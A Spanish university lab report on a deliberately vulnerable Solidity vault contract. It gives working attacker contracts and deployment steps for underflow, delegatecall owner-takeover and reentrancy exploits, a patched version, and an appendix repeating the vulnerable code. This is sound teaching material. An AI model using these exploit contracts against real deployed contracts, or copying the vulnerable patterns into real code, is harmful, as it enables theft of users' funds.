Introducción a la tecnología blockchain y smart contracts

Práctica 7

Javier Mulero Martín y Jorge del Valle Vázquez

19 de mayo de 2022

En esta práctica vamos buscar vulnerabilidades en el contrato `CryptoVault.sol`, proponer ataques y encontrar soluciones.

Para cada vulnerabilidad, vamos a indicar las funciones y las líneas de código involucradas, el tipo de vulnerabilidad y un contrato atacante con la secuencia de operaciones a seguir. Al final, proporcionaremos una versión mejorada del contrato `CryptoVault.sol`, y revisaremos cada vulnerabilidad explicando por qué los ataques descritos ya no pueden tener éxito.

1. Underflow

En la línea 72, dentro de la función `withdraw(uint)` observamos la siguiente instrucción:

```
require (accounts[msg.sender] - _amount >= 0, "Insufficient funds");
```

que, además de ser una condición siempre cierta al estar tratando enteros sin signo, produce un underflow cuando `_amount` es mayor que `accounts[msg.sender]`. La primera idea es que la condición permite sacar toda la cantidad que quiera el atacante hasta el balance de `CryptoVault`. La segunda, es que en `CryptoVault`, el balance asociado a la cuenta del atacante, sería un número muy grande consecuencia del underflow ($2^{256} - (\texttt{CryptoVault.balance} - 100)$).

A continuación proporcionamos el código del contrato atacante:

```
1  contract AttackUnderflow {
2      CryptoVault d;
3      constructor(address payable _d) public payable {
4          d = CryptoVault (_d);
5      }
6      function attack () public payable{
7          d.deposit{value: 100}();
8          d.withdraw(d.getBalance());
9      }
10     function collectProfit() public {
11         payable(msg.sender).transfer(address(this).balance);
12     }
13     function getBalance() public view returns(uint){
14       return address(this).balance;
15     }
```

```
16      receive () external payable {
17
18      }
19  }
```

Pasos a seguir:

1. Deploy `VaultLib` y `CryptoVault`
2. Insertar con la segunda cuenta una cantidad de 5 ETH en `CryptoVault`
3. Deploy de `AttackUnderflow` con una cantidad ≥ 100 wei, que es lo requerido por `deposit()` (el balance será 100 weis)
4. Llamar a `attack` (el balance será 5 ETH + 100 weis)
5. Con la cuenta que desee retirar los fondos se llama a `collectProfit()`

2. Parity Wallet

En la línea 50, en el `constructor(address,uint)` de `CryptoVault`, tenemos la siguiente línea de código:

```
(bool success,) = tLib.delegatecall(abi.encodeWithSignature("init(address)
    ",msg.sender));
```

que provoca una vulnerabilidad del tipo Parity Wall, ya que si el atacante ejecuta la función `init(address)`, que no existe en el contrato `CryptoVault`, acabará ejecutando la función `fallback()`, que mediante un `delegateCall()`, ejecutará la función de la librería, cambiando el `owner` del contrato `CryptoVault`, y así el atacante podrá obtener las *fees* que requerían que lo ejecutase el propietario del contrato.

Contrato atacante:

```
1   contract AttackParWall {
2       CryptoVault d;
3       constructor(address payable d_) public payable {
4           d = CryptoVault (d_);
5       }
6       function attack () public {
7           (bool success,) = address(d).call(abi.encodeWithSignature("init(
                address)", address(this)));
8           require(success,"init failed");
9           // ya soy el owner
10          (success,) = address(d).call(abi.encodeWithSignature("collectFees
                ()"));
11          require(success,"withdraw failed");
12      }
13      function getBalance() public view returns(uint){
14        return address(this).balance;
15      }
```

```
16      function collectProfit() public {
17          payable(msg.sender).transfer(address(this).balance);
18      }
19      receive() external payable {
20      }
21  }
```

Este código lo que va a conseguir es obtener las *fees* del contrato `CryptoVault`. Pasos a seguir:

1. Despliega `VaultLib` con la primera cuenta de Solidity.
2. Despliega `CryptoVault` con la segunda cuenta, seleccionando la dirección del contrato del `VaultLib` desplegado y un porcentaje (p.e. 10).
3. Deposita 10 ether con la segunda cuenta
4. Comprueba el balance de `CryptoVault` (10 eth)
5. Despliega `AttackParWall` con la tercera cuenta, utilizando la dirección del contrato `CryptoVault` desplegado (la dirección se puede coger del contrato `CryptoVault` desplegado)
6. Comprueba el balance de `AttackParWall` (0 eth)
7. Realiza una taque con `AttackParWall` desde la tercera cuenta (se realiza con la dirección de `CryptoVault`, no el owner)
8. Comprueba el balance de `AttackParWall` (1 eth)
9. Comprueba el balance de `CryptoVault` (9 eth)

3. Reentrancy

En la línea 80, en la función `withdrawAll()`, encontramos una vulnerabilidad de tipo Reentrancy al ejecutar en la linea 80 el siguiente código:

```
(bool sent, ) = msg.sender.call{value: amount}("");
```

que se ejecuta antes de la siguiente intruccioón

```
accounts[msg.sender] = 0;
```

de modo que si el atacante tiene una función `recieve()` en la que vuelve a llamar a la misma función, puede obtener el balance de otra cuenta.

Vemos aquí el código del atacante:

```
1  contract AttackDao {
2      CryptoVault dao;
3      constructor(address payable d_) public payable {
4          dao = CryptoVault(d_);
```

```
    }
    function init() external payable {
        require(msg.value >= 100);
        dao.deposit{value: msg.value}();
    }
    function attack() external payable {
        dao.withdrawAll();
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    function collectProfit() public {
        payable(msg.sender).transfer(address(this).balance);
    }
    receive() external payable {
        if (dao.getBalance() >= msg.value){
            dao.withdrawAll();
        }
    }
}
```

Pasos a seguir:

1. Despliega `VaultLib` y de `CryptoVault` (fees 10 %)
2. Con una cuenta A deposita 5 ether
3. Llamar a `init` con `value` 1 ether con una cuenta B de ataque, que deposita la cantidad mínima necesaria para comenzar el ataque
4. Llamar a `attack` para comenzar el ataque
5. Con `AttackDao.getBalance()` se puede comprobar que el balance es de 5.4 ether
6. Desde la cuenta B del atacante obtener el dinero con `collectProfit()`

4. Solución

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0; // Do not change the compiler version.
/*
 * CryptoVault contract: A service for storing Ether.
 */
contract CryptoVault {
    address public owner;       // Contract owner.
    uint prcFee;                // Percentage to be subtracted from
       deposited
                                // amounts to charge fees.
    uint public collectedFees; // Amount of this contract balance that
                                // corresponds to fees.
```

```
12      // address tLib;           // ** Eliminamos la libreria **
13      mapping (address => uint256) public accounts;
14      bool lock = false;          // ** Lock para solucionar reentrancy **
15
16      modifier onlyOwner() {
17          require(msg.sender == owner,"You are not the contract owner!");
18          _;
19      }
20
21      // Constructor sets the owner of this contract using a VaultLib
22      // library contract, and an initial value for prcFee.
23      constructor(uint _prcFee) public {
24          // ** Nos deshacemos de la libreria (2) **
25          // ** A adimos el owner en la creacion del contrato (2) **
26          owner = msg.sender;
27          prcFee = _prcFee;
28      }
29
30      // getBalance returns the balance of this contract.
31      function getBalance() public view returns(uint){
32          return address(this).balance;
33      }
34
35      // deposit allows clients to deposit amounts of Ether. A percentage
36      // of the deposited amount is set aside as a fee for using this
37      // vault.
38      function deposit() public payable{
39          require (msg.value >= 100, "Insufficient deposit");
40          uint fee = msg.value * prcFee / 100;
41          accounts[msg.sender] += msg.value - fee;
42          collectedFees += fee;
43      }
44
45      // withdraw allows clients to recover part of the amounts deposited
46      // in this vault.
47      function withdraw(uint _amount) public {
48          //  ** Require arreglado, para que la condici n no sea siempre
                cierta (1) **
49          require (accounts[msg.sender] >= _amount, "Insufficient funds");
50          // ** Aqui se podria aplicar con SafeMath accounts[msg.sender].sub
                (_amount); (!) **
51          accounts[msg.sender] -= _amount;
52          (bool sent, ) = msg.sender.call{value: _amount}("");
53          require(sent, "Failed to send funds");
54      }
55
56      // withdrawAll is similar to withdraw, but withdrawing all Ether
57      // deposited by a client.
58      // ** Nueva funcion haciendo uso del lock (3) **
59      function withdrawAll() public {
60          require(!lock, "Contract locked");
```

```
61          uint amount = accounts[msg.sender];
62          require (amount > 0, "Insufficient funds");
63
64          // ** Actualizamos el valor de la cuenta antes de mandar el dinero
                (3) **
65          accounts[msg.sender] = 0;
66
67          lock = true; // ** lock
68          (bool sent, ) = msg.sender.call{value: amount}("");
69          lock = false; // ** unlock
70
71          require(sent, "Failed to send funds");
72      }
73
74      // collectFees is used by the contract owner to transfer all fees
75      // collected from clients so far.
76      function collectFees() public onlyOwner {
77          require (collectedFees > 0, "No fees collected");
78          (bool sent, ) = owner.call{value: collectedFees}("");
79          require(sent, "Failed to send fees");
80          collectedFees = 0;
81      }
82
83      // Standard response for any non-standard call to CryptoVault.
84      // ** Hemos cambiado las funciones de fallback y receive para
85      // que no use la librer a (2) **
86      fallback () external payable {
87          revert("Calling a non-existent function!");
88      }
89
90      // Standard response for plain transfers to CryptoVault.
91      receive () external payable {
92          revert("This contract does not accept transfers with empty call
                data");
93      }
94  }
```

4.1. ¿Por qué soluciona la vulnerabilidad 1?

- Ahora el `require` comprueba de verdad que la cantidad a retirar es menor que la cantidad disponible.
- Al realizar la resta de forma segura (con `SafeMath` o por la comprobación del `require`) no produce underflow y refleja fielmente los valores adecuados.

4.2. ¿Por qué soluciona la vulnerabilidad 2?

- Al eliminar librería, no es posible modificar el `owner` del contrato, solo es posible al crear el contrato `CryptoVault`

4.3. ¿Por qué soluciona la vulnerabilidad 3?

- Al utilizar un `lock` evitamos que se utilice la función `withdrawAll()` mientras otra posible ejecución no ha terminado, de modo que se restringe a que solo se sace dinero con esta función de una vez en una vez.
- Al actualizar `accounts[msg.sender] = 0` antes del `msg.sender.call`, evitamos que una posible llamada que ha sacado el dinero de su cuenta, vuelva a sacarlo, ya que se actualiza antes.

Anexos

A. CrytoVault original y ataques

```
1  // SPDX-License-Identifier: GPL-3.0
2  pragma solidity ^0.6.0; // Do not change the compiler version.
3  /*
4   * VaultLib: Library contract used to handle the owner of CryptoVault
5   * contract and other utility functions.
6   */
7  contract VaultLib {
8      address public owner;
9
10     // init is used to set the CryptoVault contract owner. It must be
11     // called using delegatecall.
12     function init(address _owner) public {
13         owner = _owner;
14     }
15
16     // Standard response for any non-standard call to CryptoVault.
17     fallback () external payable {
18         revert("Calling a non-existent function!");
19     }
20
21     // Standard response for plain transfers to CryptoVault.
22     receive () external payable {
23         revert("This contract does not accept transfers with empty call
               data");
24     }
25 }
26
27 /*
28  * CryptoVault contract: A service for storing Ether.
29  */
30 contract CryptoVault {
31     address public owner;       // Contract owner.
32     uint prcFee;                // Percentage to be subtracted from
           deposited
33                                 // amounts to charge fees.
34     uint public collectedFees; // Amount of this contract balance that
35                                 // corresponds to fees.
36     address tLib;               // Library used for handling ownership.
37     mapping (address => uint256) public accounts;
38     // event Emit(address voter, uint votes, bool inFavor);
39
40     modifier onlyOwner() {
41         require(msg.sender == owner,"You are not the contract owner!");
42         _;
43     }
```

```
44
45      // Constructor sets the owner of this contract using a VaultLib
46      // library contract, and an initial value for prcFee.
47      constructor(address _vaultLib, uint _prcFee) public {
48          tLib = _vaultLib;
49          prcFee = _prcFee;
50          (bool success,) = tLib.delegatecall(abi.encodeWithSignature("init(
                address)",msg.sender));
51          require(success,"delegatecall failed");
52      }
53
54      // getBalance returns the balance of this contract.
55      function getBalance() public view returns(uint){
56          return address(this).balance;
57      }
58
59      // deposit allows clients to deposit amounts of Ether. A percentage
60      // of the deposited amount is set aside as a fee for using this
61      // vault.
62      function deposit() public payable{
63          require (msg.value >= 100, "Insufficient deposit");
64          uint fee = msg.value * prcFee / 100;
65          accounts[msg.sender] += msg.value - fee;
66          collectedFees += fee;
67      }
68
69      // withdraw allows clients to recover part of the amounts deposited
70      // in this vault.
71      function withdraw(uint _amount) public {
72          require (accounts[msg.sender] - _amount >= 0, "Insufficient funds"
                );
73          accounts[msg.sender] -= _amount;
74          (bool sent, ) = msg.sender.call{value: _amount}("");
75          require(sent, "Failed to send funds");
76      }
77
78      // withdrawAll is similar to withdraw, but withdrawing all Ether
79      // deposited by a client.
80      function withdrawAll() public {
81          uint amount = accounts[msg.sender];
82          require (amount > 0, "Insufficient funds");
83          (bool sent, ) = msg.sender.call{value: amount}("");
84          require(sent, "Failed to send funds");
85          accounts[msg.sender] = 0;
86      }
87
88      // collectFees is used by the contract owner to transfer all fees
89      // collected from clients so far.
90      function collectFees() public onlyOwner {
91          require (collectedFees > 0, "No fees collected");
92          (bool sent, ) = owner.call{value: collectedFees}("");
```

```
93          require(sent, "Failed to send fees");
94          collectedFees = 0;
95      }
96
97      // Any other function call is redirected to VaultLib library
98      // functions.
99      fallback () external payable {
100         (bool success,) = tLib.delegatecall(msg.data);
101         require(success,"delegatecall failed");
102     }
103     receive () external payable {
104         (bool success,) = tLib.delegatecall(msg.data);
105         require(success,"delegatecall failed");
106     }
107 }
108
109 contract AttackUnderflow {
110     CryptoVault d;
111     constructor(address payable _d) public payable {
112         d = CryptoVault (_d);
113     }
114     function attack () public payable{
115         d.deposit{value: 100}();
116         d.withdraw(d.getBalance());
117     }
118     function collectProfit() public {
119         payable(msg.sender).transfer(address(this).balance);
120     }
121     function getBalance() public view returns(uint){
122       return address(this).balance;
123     }
124     receive () external payable {
125
126     }
127 }
128
129 contract AttackParWall {
130     CryptoVault d;
131     constructor(address payable d_) public payable {
132         d = CryptoVault (d_);
133     }
134     function attack () public {
135         (bool success,) = address(d).call(abi.encodeWithSignature("init(
              address)", address(this)));
136         require(success,"init failed");
137         // ya soy el owner
138         (success,) = address(d).call(abi.encodeWithSignature("collectFees
              ()"));
139         require(success,"withdraw failed");
140     }
141     function getBalance() public view returns(uint){
```

```
142         return address(this).balance;
143     }
144     function collectProfit() public {
145         payable(msg.sender).transfer(address(this).balance);
146     }
147     receive() external payable {
148     }
149 }
150 
151 contract AttackDao {
152     CryptoVault dao;
153     constructor(address payable d_) public payable {
154         dao = CryptoVault(d_);
155     }
156     function init() external payable {
157         require(msg.value >= 100);
158         dao.deposit{value: msg.value}();
159     }
160     function attack() external payable {
161         dao.withdrawAll();
162     }
163     function getBalance() public view returns(uint){
164         return address(this).balance;
165     }
166     function collectProfit() public {
167         payable(msg.sender).transfer(address(this).balance);
168     }
169     receive() external payable {
170         if (dao.getBalance() >= msg.value){
171             dao.withdrawAll();
172         }
173     }
174 }
```